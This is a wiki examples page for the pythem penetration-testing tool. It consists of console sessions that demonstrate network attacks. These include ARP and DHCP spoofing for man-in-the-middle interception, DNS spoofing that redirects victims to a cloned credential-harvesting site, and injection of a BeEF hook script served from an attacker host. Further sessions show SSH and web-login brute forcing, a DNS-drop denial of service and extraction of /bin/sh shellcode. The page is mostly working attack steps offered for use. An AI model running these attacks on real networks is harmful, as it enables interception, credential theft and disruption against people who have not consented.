Skip to content

Examples

Jump to bottom
m4n3dw0lf edited this page Jan 16, 2018 · 37 revisions

Examples

ARP spoofing - Man-in-the-middle

  pythem> set interface
  [+] Enter the interface: wlan0
  pythem> set gateway
  [+] Enter the gateway: 192.168.1.1
  pythem> arpspoof start
  [+] Setting the packet forwarding.
  [+] Iptables redefined.
  [+] ARP spoofing initialized.
  pythem> sniff
  [+] Enter the filter: core

ARP+DNS spoof - fake page redirect to credential harvester

  • use SET or any other site cloner to clone the site of your choice and host in the apache2
  pythem> set target
  [+] Enter the target(s): 192.168.0.8
  pythem> set interface wlan0
  pythem> set gateway 192.168.0.1
  pythem> arpspoof start
  [+] Setting the packet forwarding.
  [+] Iptables redefined.
  [+] ARP spoofing initialized.
  pythem> dnsspoof start
  [!] Type all to spoof all domains
  [+] Domain to be spoofed: www.domainame.com
  [+] Default address to redirect is:192.168.0.6 do you want to change?[y/n]n
  [+] DNS spoofing initialized.
  pythem> sniff core

Man-in-the-middle DHCP spoofing - DHCP ACK Injection

  pythem> dhcpspoof start
  [+] DHCP Server IP address: 192.168.1.1
  [+] Broadcast address: 192.168.1.255
  [+] Subnet mask: 255.255.255.0
  [+] Router IP address: 192.168.1.1
  [+] Domain: home
  [+] DNS Server IP address: 192.168.1.4 (fake)
  [+] DHCP spoofing initialized.
  pythem> sniff core

Man-in-the-middle inject BeEF hook

  • Start BeEF xss framework and get the hook script url
  pythem> set interface wlan0
  pythem> set target 192.168.1.8
  pythem> set gateway 192.168.1.1
  pythem> arpspoof start
  [*] Iptables redefined
  [*] Setting the packet forwarding.
  [+] ARP spoofing initialized.
  pythem> redirect start
  [+] Enter the script source: http://192.168.1.6:3000/hook.js
  [+] Redirect with script injection initialized.
  [+] Injection URL - http://192.168.1.6:80
  [+] Script Injected on:  ('192.168.1.8', 34310)

SSH Brute-Force attack

  pythem> service ssh start
  pythem> set target 
  [+] Enter the target(s): 127.0.0.1
  pythem> set file wordlist.txt
  pythem> brute-force ssh
  [+] Enter the username to bruteforce: anon123

Web page formulary brute-force

  • First get the source of the web page formulary and get the id= value of the login and password.
  • Show the redirect results of the attempt so if goes to a different page may have worked.
  pythem> set target http://127.0.0.1/
  pythem> set file
  [+] Enter the path to the file: wordlist.txt
  pythem> brute-force webform
  [+] Brute-Form authentication initialized.

  [+] Enter the input id of the username box: vSIS_ID
  [+] Enter the input id of the password box: vSIS_PASS
  [+] Enter the username to brute-force the formulary: root

URL content buster

  pythem> set target
  [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id=
  pythem> set file 1to100.txt
  pythem> brute-force url
  [+] Content URL bruter initialized.

Overthrow the DNS of LAN range/IP address

Can be useful overthrow the DNS to force the administrator connection with his credentials in the HTTP server of the router to check what's happening while the sniffer is running kk.

pythem> set interface wlan0
pythem> set gateway 192.168.1.1
pythem> arpspoof start
[*] Iptables redefined
[*] Setting the packet forwarding.
[+] ARP spoofing initialized.
pythem> dos dnsdrop
[+] Man-in-the-middle DNS drop initialized.
pythem> sniff core

Redirect all possible DNS queries to host

Tip: start apache2 or any other web server with your best hax0r3d html message.

If your network pass through a proxy you can add the rule:

iptables -t nat -A PREROUTING -p tcp --dport PROXY_PORT -j REDIRECT --to-ports 80

pythem> set interface wlan0
pythem> set gateway 10.0.0.1
pythem> arpspoof start
[*] Iptables redefined
[*] Setting the packet forwarding.
[+] ARP spoofing initialized.
pythem> dnsspoof start
[!] Type all to spoof all domains
[+] Domain to be spoofed: all
[+] Default address to redirect is:10.0.0.3 do you want to change?[y/n]n
[+] DNS spoofing initialized

Get shellcode from binary

pythem> xploit
[*] Select xploit mode (or press enter to enter xploit console), options = stdin/tcp
[+] Exploit mode:
xploit> shellcode assembly_shellcode
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Filter strings on pcap files

pythem> set file
[+] Enter the path to the file: pythem2017-12-24_17:44:39.pcap
pythem> pforensic
pforensic> filter string
[+] String to search on packets (case sensitive): payload

------------------------[Packet n:629]------------------------

###[ Ethernet ]###
  dst       = 00:00:00:00:00:00
  src       = 00:00:00:00:00:00
  type      = IPv4
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 42
     id        = 21649
     flags     = DF
     frag      = 0L
     ttl       = 64
     proto     = udp
     chksum    = 0xe82f
     src       = 127.0.0.1
     dst       = 127.0.0.1
     \options   \
###[ UDP ]###
        sport     = 33098
        dport     = 3000
        len       = 22
        chksum    = 0xfe29
###[ Raw ]###
           load      = 'payload!\n'
Clone this wiki locally